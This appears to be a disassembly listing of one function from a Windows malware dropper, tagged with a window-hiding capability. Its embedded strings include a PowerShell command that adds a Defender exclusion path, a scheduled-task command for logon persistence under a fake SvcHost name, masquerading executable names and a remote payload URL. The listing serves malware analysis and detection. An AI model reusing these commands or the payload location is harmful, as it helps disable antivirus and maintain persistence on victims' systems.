Function at 0x401170
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x460114]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x462468], eax
mov eax, dword [0x462468]
push eax
call fcn.00401a70
add esp, 4
push str.MicrosoftSvcHost_svc_host.exe
push 0x4503e4
call fcn.00431c32
add esp, 4
push eax
lea ecx, [ebp - 0x44]
call fcn.00407790
push eax
lea ecx, [ebp - 0x2c]
push ecx
call fcn.00403430
add esp, 0xc
push eax
mov ecx, 0x46246c
call fcn.0040a440
lea ecx, [ebp - 0x2c]
call fcn.00409a30
lea ecx, [ebp - 0x44]
call fcn.00409a30
mov ecx, 0x46246c
call fcn.00411f60
add eax, 1
push eax
call fcn.0042caf2
add esp, 4
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x94], edx
mov ecx, 0x46246c
call fcn.00410480
push eax
mov eax, dword [ebp - 0x94]
push eax
call fcn.00431e40
add esp, 8
mov dword [ebp - 0xa8], str.https:__rentry.co_o5kpirns_raw
push str.MicrosoftSecuritySecurityHealth.exe
push str.PROGRAMDATA
call fcn.00431c32
add esp, 4
push eax
lea ecx, [ebp - 0x74]
call fcn.00407790
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.00403430
add esp, 0xc
push eax
mov ecx, 0x46246c
call fcn.0040a440
lea ecx, [ebp - 0x5c]
call fcn.00409a30
lea ecx, [ebp - 0x74]
call fcn.00409a30
mov ecx, 0x46246c
call fcn.00411f60
add eax, 1
push eax
call fcn.0042caf2
add esp, 4
mov dword [ebp - 0xa4], eax
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x98], edx
mov ecx, 0x46246c
call fcn.00410480
push eax
mov eax, dword [ebp - 0x98]
push eax
call fcn.00431e40
add esp, 8
mov ecx, dword [ebp - 0x94]
push ecx
lea ecx, [ebp - 0x8c]
call fcn.00407790
push eax
call fcn.00401c30
add esp, 4
mov byte [ebp - 0x8d], al
lea ecx, [ebp - 0x8c]
call fcn.00409a30
movzx edx, byte [ebp - 0x8d]
test edx, edx
je 0x4012fc
mov eax, dword [0x462468]
push eax
call fcn.00401b20
add esp, 4
xor eax, eax
jmp 0x401595
push 0x4502a1
mov ecx, 0x46246c
call fcn.0040a4b0
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath___programdata__
call fcn.004015b0
add esp, 4
push str.schtasks__Create__F__RL_HIGHEST__SC_ONLOGON__TN__MicrosoftWindowsSvcHostSvcHost___TR__cmd.exe__c_start______programdata_MicrosoftSvcHost_svc_host.exe__
call fcn.004015b0
add esp, 4
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x98]
push ecx
mov edx, dword [ebp - 0xa8]
push edx
call fcn.00401710
add esp, 8
mov eax, dword [0x45056c]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x450570]
mov dword [ebp - 0x10], ecx
mov edx, dword [0x450574]
mov dword [ebp - 0xc], edx
mov eax, dword [0x450578]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0x108], 0x401f20
mov edx, dword [ebp + 8]
mov dword [ebp - 0xfc], edx
lea eax, [ebp - 0x14]
mov dword [ebp - 0xe8], eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassW]
movzx edx, ax
test edx, edx
jne 0x4013f1
push 0x30
push 0x45057c
push str.Window_Registration_Failed_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x401595
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.SvcHost
lea ecx, [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jne 0x40144f
push 0x30
push str.Error_
push str.Window_Creation_Failed_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x401595
push 0
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x401f70
push 1
lea eax, [ebp - 0xc8]
push eax
call fcn.00406240
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xcc], ecx
push 0
push 0
push 0
lea edx, [ebp - 0xe4]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x401544
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [ebp - 0xe4]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageW]
mov dword [ebp - 0xac], 0
lea edx, [ebp - 0xac]
push edx
lea ecx, [ebp - 0x114]
call fcn.004026f0
push eax
lea ecx, [ebp - 0xc8]
call fcn.00406f20
test eax, eax
jne 0x40153f
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0xb0]
push ecx
call fcn.0042cafb
add esp, 4
mov edx, dword [ebp - 0x98]
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0xb4]
push eax
call fcn.0042cafb
add esp, 4
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x4014a0
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xb8], ecx
mov edx, dword [ebp - 0xb8]
push edx
call fcn.0042cafb
add esp, 4
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0xbc]
push ecx
call fcn.0042cafb
add esp, 4
mov dword [ebp - 0xc0], 0
lea ecx, [ebp - 0xc8]
call fcn.00409820
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042ce06
mov esp, ebp
pop ebp
ret 0x10